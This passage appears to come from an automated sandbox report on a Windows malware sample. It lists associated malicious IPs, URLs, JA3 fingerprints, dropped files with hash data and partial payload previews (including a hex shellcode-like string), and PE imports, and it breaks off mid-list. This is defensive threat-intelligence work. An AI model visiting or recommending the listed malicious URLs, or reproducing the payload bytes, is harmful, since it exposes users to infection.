Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.99
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
CLOUDFLARENETUS	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	http://4.nscqn.dashboradcortx.xyz/4hbVgI3060FFjU163rczgakrldw288HJUBSXEIQRWLNTA425583MYLP8076x12	Get hash	malicious	Unknown	Browse	1.1.1.1
	ogVinh0jhq.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	https://myburbank-uat.3didemo.com	Get hash	malicious	HTMLPhisher	Browse	104.26.13.57
	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	http://hotelyetipokhara.com	Get hash	malicious	Unknown	Browse	104.21.96.1
	https://realpaperworks.com/wp-content/red/UhPIYa	Get hash	malicious	Unknown	Browse	104.21.96.1
	http://adflowtube.com	Get hash	malicious	Unknown	Browse	188.114.96.3
UTMEMUS	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	132.226.227.252
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
PUBLIC-DOMAIN-REGISTRYUS	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.176
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	v4BET4inNV.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	208.91.198.106
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Quote_8714.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	S1a5ZF3ytp.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	188.114.97.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2Mi3lKoJfj.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ogVinh0jhq.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	Sylacauga AL License.msg	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\W2k2NLSvja.exe
File Type:	data
Category:	dropped
Size (bytes):	149880
Entropy (8bit):	7.960534062910016
Encrypted:	false
SSDEEP:	3072:1mRkwLZ8vf0JarUIoi2Mn0+S0ZgZIc2amz+nRy7TKKBqkT0mGrU7N:akCZJwTHJSruCRwqmGQ7N
MD5:	53E7660E3D0D199864A9BD0DEBFA00CA
SHA1:	506E74CE5958EADC98DB7EA2F1EECA66B3D949BB
SHA-256:	6F7F79309ECDBE07FB45EB508EA68262406A9DD9B544BD54B68F54EFF33A88B4
SHA-512:	0441D19CE0CA77F985EEB5AE979FF8923F952717604F730F1C1CD15663DBC15B8774598845BAD7EDEB2514761A69F15E31C7049AED147F0466C3D38C85E2EB94
Malicious:	false
Reputation:	low
Preview:	EA06.....[8s:\|.V.V).}~..E...5..j.4.MiU...mS....J...P.Ph.p.....q...+4..Z...l../.p...x..q>.M....9.Me....3.Nl...V=...+.Y...;.Nm....Dh4X..eQ.W.u .\|..t.Z.[.S....C.t..1.Tn`....tF.....G....9..Wk.R.V)....b;...I8...Z..$.t.../.H.:...:a........L.3j../..E..5:h..k.J..>.u...+....er.W.......7.W.n.j...%..@...t]'.ZU..t....>.<.u.M.5J..S...5J.Z.Z../.P..'E.D@+.8....;F@...4......T........... ...w.9N....vg.o...w.I.BoJ.W...;.:"..h..f.:...D..t......r...H@.....W.W.`......:...B.G.F&.....6...J.r.r.I.UJ.?.F..f2.4.q?.T.tY../L.Wz..:.#..h..8.9^.D..Z.F.E.U.1i.SQL.S.....W..j\.}.i8.X..:<z.3.O....b....4Ze.'Q....I.....V&.9...W.T%.z.B....?..]b.p.W/w....3.G.....W.T-T[.\..1..~.S..&.9..-).V....B.c..(...z.o.N..Z.N....k.J.J.X.]e.Z...l....J...a..l...0.U......T.....AZ.."s[..[S.W,.K..IO.U.....9..t..JWH...:.4..P.N..[...5.J0.:....\^gTY.Vgf.U..`.".;...{.n.;........M..H..EB. .B@.J..WZ..=`/%...S#....Q..6@..gK5.S.+].{..s.d.+..+...P......\.U..@..T..Q..(.{..m...5...m.Mi..X.s..Uu

C:\Users\user\AppData\Local\Temp\aut2027.tmp

Download File

Process:	C:\Users\user\Desktop\W2k2NLSvja.exe
File Type:	data
Category:	dropped
Size (bytes):	9922
Entropy (8bit):	7.600307719587995
Encrypted:	false
SSDEEP:	192:ZyaFcKwsKp488BV5EX9O1JZob0pcjxLB+qIQDQwppf1zkMY4bN/vsZLL:3F7wsKp48Yk9ObcgcdLCQDQUBTN/kZLL
MD5:	1AB85B7681D3CC3D8ABA7663D3005C8C
SHA1:	5E83108B5BF3F7DE96185BDFCF628C87AC2EB46B
SHA-256:	A5CB5C70A8C4164E9FB76433C7047DF4B08F78CE323B3109A5C5BB77CA6073C8
SHA-512:	C555F9EFA21FC1990176CA35EF921801774ED4E829390FE43DF2039D455655F58224643777F127C92095DA06B5631C6F8194D971CF90D41224B67EA17D0F815C
Malicious:	false
Reputation:	low
Preview:	EA06..pT..f.Y..4.Lf.9..D.P..I..3..h3j..s9..g3...g3..4:..E..&.i..8......D.Ph3...aB.Q..j5.q4.Pf....qb.....-..c.L...$.m5...k..c0.M....k8.X.3i...l..%.o2....A8.6,.........3k....e.N&s0.oNf.)...k.K$.eb....5..f.........6.0.o.p....l39....V0...S..$.if...6....f.I...@.....i8........X@.4.1..........$.P...0z.5..$}3Y.....=5..`d....!d..V...7f.[$..8...\|.I..W.d...\|vI..W.d...\|vK..W.d...\|vK(.W.e...\|vY..W,.O...k.`..X@..9..^.8..F.6.z..G......`......i..G../Z...zqd...l.;.........\|......7...}3{(........;^..l =..p.........3p.o....,.......x.....H<.lX.:...b.....,. ...2...f.[...K.)....b..i\|v F......X......`....,.9....5...._..l......>K.....ir.e....[4..d..f.y.....,.....S >..p...........s9.... !..Y....f...ja4....ea.h,.p.....,.a8.,..3........f.....f ....,j.0..&...J......f ....6K%.ke..f....L..;2.X...4.Y.V@.Fn.....f@....l..05.....!;3.X...c )D.g6... ...'&`....,f.6..&....r...Brh.....l...i2...B....@.......d.L.`!.....P...@X5d..lSK...9...!;5.X...cVY......'.B...,vl.!..>.a..l...M..@...X...b.M&

C:\Users\user\AppData\Local\Temp\quinquenniad

Download File

Process:	C:\Users\user\Desktop\W2k2NLSvja.exe
File Type:	data
Category:	dropped
Size (bytes):	273920
Entropy (8bit):	6.980734116012845
Encrypted:	false
SSDEEP:	6144:xrXOEmatWNP1KVj211+3szicMoX1igYjp/8Oofk:xraakNP1KVK11+3szicMoX1jYt/8O9
MD5:	CDEDDD67555C870A0A8602CF341A60CB
SHA1:	82B88F9FAE85BBDEF26799299EE6DC0AE5E860F8
SHA-256:	EA46C0C079DFF1CA71C67FF8D43989D1363E844B3E62A9918E8B4CDABBDCDE0F
SHA-512:	3F90B8A52BDC7124A526DFA22893132D1945106E4256BEEFE7E6288275349929D03B3408994173A452A2ED79B456DF1603E3DB14D5F6D7F843AE3AA1533A7E20
Malicious:	false
Reputation:	low
Preview:	.l.3O4WV^XNW..AE.G1Q5ZE4x5JQSE6S3L4WVZXNWPTAEWG1Q5ZE485JQSE6.3L4YI.VN.Y.`.V..pa2,G.E8>47W>./U985,n55t309gX?...g.X%56k;^9h4WVZXNW..AE.F2Q.^.R85JQSE6S.L6V][.NWHPAECG1Q5ZEj.1JQsE6SsH4WV.XNwPTAGWG5Q5ZE485NQSE6S3L4.RZXLWPTAEWE1..ZE$85ZQSE6C3L$WVZXNW@TAEWG1Q5ZE44.NQ.E6S3.0WAJXNWPTAEWG1Q5ZE485JQ3A6_3L4WVZXNWPTAEWG1Q5ZE485JQSE6S3L4WVZXNWPTAEWG1Q5ZE485jQSM6S3L4WVZXNWXtAE.G1Q5ZE485JQ}1S+GL4W2L\NWpTAEOC1Q7ZE485JQSE6S3L4wVZ8`%#&"EWG&A5ZEt<5JCSE6I7L4WVZXNWPTAEW.1Qut7QTZ)QSI6S3LTSVZZNWPxEEWG1Q5ZE485JQ.E6.3L4WVZXNWPTAEWG1..^E485J.SE6Q3I4..XX..QTBEWG.Q5\..:5.QSE6S3L4WVZXNWPTAEWG1Q5ZE485JQSE6S3L4WVZXNW.).J...8F..485JQSD4P7J<_VZXNWPTA;WG1.5ZEt85JfSE6v3L4:VZXjWPT?EWGOQ5Z!4858QSEWS3LsWVZ7NWP:AEW91Q5DG..5J[yc6Q.m4W\Zr.$rTAO.F1Q1)f48?.SSE2 .L4].YXNS#qAE].5Q5^6.85@.VE6W..4T.L^NWK;xEWM1R.OC48.`wSG.i3L>W\|\|XM.ERAELm.Q7.L481`. X6S5dwWVP,GWPV.OWG5{+Xmp85@{q;=S3H.W\|x&BWPPjE}eO\5ZA.8.TS.H6S7f.)XZXJ\|P~c;XG1U.Zo*:.EQSA.qM\4WRqXdu.EAESl1{.$W481aQygH@3L0\|Vpz0CPTEnWm./ ZE0.5`s-S6S7g4}t$ONWT.Aou9)Q5^n4.+H.KE6W.F4}Pp:N%vB

C:\Users\user\AppData\Local\Temp\teres

Download File

Process:	C:\Users\user\Desktop\W2k2NLSvja.exe
File Type:	ASCII text, with very long lines (28756), with no line terminators
Category:	dropped
Size (bytes):	28756
Entropy (8bit):	3.602387961033279
Encrypted:	false
SSDEEP:	768:4iTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNba+I468b4vfF3if6gygP:4iTZ+2QoioGRk6ZklputwjpjBkCiw2Rv
MD5:	0A6332F1BC58F389E778016D89F411FD
SHA1:	537C4868E441122D0EA42C36D4CB3E960BD1E491
SHA-256:	A97A78DF1FCB17EAAA4B6D48F68936EA865FE0EBAE0311A3E360311B060EEEF1
SHA-512:	54072BBBFC91CE1B39E0576A71C210FFA384A7B0FEF0F1E71B8E19DB64AF1272A6B28E62C2815AD014C77211B3C31CA4ED40937BE5A4977CBD8AB94C756B747D
Malicious:	false
Reputation:	low
Preview:	1A6E71D4810309FDFC6D43D3E9A6A999A1918E3376ACA2EEC40F44C89B681ADD6AA0260BDF66FE84DA0x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffff

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.969698004676455
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	W2k2NLSvja.exe
File size:	1'056'256 bytes
MD5:	3e473d16c81dd66fee6f02537b601626
SHA1:	82f7667f0d8aecc63ce5fb9d86ec3d651223676d
SHA256:	3c81cd20323c282181d40fa0e8ab7b66dfd46edd7bafc3d6abeb072420b314fe
SHA512:	7f3ff26741dd497f8c2f8fb9a63de6c16140203446d35b277be71031070c882c97171448f8b15346f04868b5630d5ff99af101cc3b1f66345b053acd386fcc28
SSDEEP:	24576:FAHnh+eWsN3skA4RV1Hom2KXMmHapvZqN9y7gYaM5:0h+ZkldoPK8YapvZO9y7Vt
TLSH:	F725AD0273D1C036FFABA2739B6AF20556BD79254123852F13981DB9BD701B2263E763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66905CB7 [Thu Jul 11 22:29:11 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F20D915EE4Dh
jmp 00007F20D9151C04h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F20D9151D8Ah
cmp edi, eax
jc 00007F20D91520EEh
bt dword ptr [004C41FCh], 01h
jnc 00007F20D9151D89h
rep movsb
jmp 00007F20D915209Ch
cmp ecx, 00000080h
jc 00007F20D9151F54h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F20D9151D90h
bt dword ptr [004BF324h], 01h
jc 00007F20D9152260h
bt dword ptr [004C41FCh], 00000000h
jnc 00007F20D9151F2Dh
test edi, 00000003h
jne 00007F20D9151F3Eh
test esi, 00000003h
jne 00007F20D9151F1Dh
bt edi, 02h
jnc 00007F20D9151D8Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F20D9151D93h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F20D9151DE5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x37718	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x100000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x37718	0x37800	405235c6cbfd958dbe75dec9d2b1125a	False	0.8842465512387387	data	7.791286429609028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x100000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc84a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc85c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc88b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc89d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc9880	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xca128	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xca690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xccc38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcdce0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_STRING	0xce148	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xce6dc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xced68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcf1f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcf7f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcfe50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd02b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd0410	0x2edb0	data			1.0003438932888704
RT_GROUP_ICON	0xff1c0	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xff238	0x14	data	English	Great Britain	1.15
RT_VERSION	0xff24c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xff328	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, 